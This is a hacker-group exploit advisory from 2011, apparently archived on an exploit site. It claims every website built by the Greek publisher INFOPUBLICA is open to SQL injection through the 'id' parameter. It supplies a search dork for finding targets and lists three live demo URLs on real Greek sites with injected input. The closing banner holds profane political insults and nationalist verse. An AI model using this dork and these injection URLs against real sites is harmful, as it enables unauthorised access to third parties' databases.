INFOPUBLICA Solutions SQL-i Vulnerability

=========================================================================
 INFOPUBLICA Solutions  SQL-i Vulnerability  
==========================================================================

+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
+=+=+=                                                                        +=+=+=
+=+=+=     /\  | |  | |            ________    _____    _____ __    _    __   +=+=+=
+=+=+=    /  \ | |__| |    _____  / ______/   |  _  \  | ____|\ \  / \  / /   +=+=+=
+=+=+=   / /\ \| |__| |  /_____/  | |         | |_) /  | |__   \ \/   \/ /    +=+=+=
+=+=+=  / ____ \ |  | |           | |_______  | __\ \  |  __|   \       /     +=+=+=
+=+=+= /_/    \_\|  | |           |________/  |_|  \_\ | |_______\_____/_____ +=+=+=
+=+=+=                                                 |_____________________|+=+=+=
+=+=+=                                                                        +=+=+=
+=+=+=              X-n3t - **RoAd_KiLlEr** - The|Denny` - The_1nv1s1bl3      +=+=+=
+=+=+=                                                                        +=+=+=
+=+=+=  0ne Nation , 0ne People , 0ne Culture , 0ne Language = Ethnic Albania +=+=+=
+=+=+=                                                                        +=+=+=
+=+=+=           ....::: | ALBANIAN HACKING CREW | :::....        2011        +=+=+=
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
      0                                                                      0
      1                ###########################################           1
      0               I'm **RoAd_KiLlEr**  member from 1337 DAY Team         1
      1                ###########################################           0
      0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
 
[+]Title :....... INFOPUBLICA Solutions  SQL-i Vulnerability        
[+]Author :......**RoAd_KiLlEr**
[+]Tested on :...Win Xp Sp 2/3 
---------------------------------------------------------------------------
[~] Founded by **RoAd_KiLlEr**
[~] Team: Albanian Hacking Crew
[~] Contact: sukihack[at]gmail[dot]com
[~] Home: http://1337day.com/author/2447 & http://road-killer.blogspot.com
[~] Vendor: http://www.infopublica.gr
 
==========ExPl0iT3d by **RoAd_KiLlEr**==========
 
 
[+] DORK: Copyright © 1999 - 2011 INFOPUBLICA S.A


[+] Description:

Since 1978 Infopublica S.A. (a Greek publishing company) has been offering reliable information in the markets of industry, marketing and hospitality through print and online publications, helping executives make the right decisions. The relationship the company has established with its readers makes it a valuable partner also to its advertisers who want their message to reach successfully a niche market.
 

[ I ].  SQL-i Vulnerability
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

[+++] Note: Every web page developed INFOPUBLICA S.A is vulnerable to Sql-Injection.

      Use the Dork to find websites,than find any "php" file with "id"  parameter  [ index.php?id=].
      
     Input passed to the  "id" parameter   in the "index.php" is not properly sanitised before being used in SQL queries. 

 
[P0C]:  http://127.0.0.1/index.php?id= [ SQL-INJECTION]


[L!v3 D3m0's]:

http://www.plant-management.gr/index.php?id='14229

http://www.hotel-restaurant.gr/index.php?id='10149

http://www.publicity-guide.gr/index.php?id='11666
 
 
[+] TIME TABLE:
  
13 June 2011 - Vulnerability discovered.
15 June 2011   - Advisory released.
 
 
===========================================================================================
[!] Albanian Hacking Crew          
===========================================================================================
[!] **RoAd_KiLlEr**  says: FUCK BDI,Mbasi jeni qaq lesha me votu BDI,Ishalla jav venon kishat ke Shpija. PDSH 4 Life. 
===========================================================================================
[!] MaiL: sukihack[at]gmail[dot]com
===========================================================================================
[!] Greetz To : Ton![w]indowS | X-n3t | The|DennY` | THE_1NV1S1BL3 | KHG & All Albanian/Kosova Hackers
===========================================================================================
[!] Spec Th4nks:  r0073r  | indoushka in Jail :( | Sid3^effects |  jdc from jeffchannell.com | DoNnY | MaFiTeRRoR |
| bda.a7v | Sifu | L0NnY | All  1337day Members | And All My Friendz
===========================================================================================
[!] Red n'black i dress eagle on my chest
It's good to be an ALBANIAN
Keep my head up high for that flag I die
Im proud to be an ALBANIAN
===========================================================================================




#  0day.today [2018-02-27]  #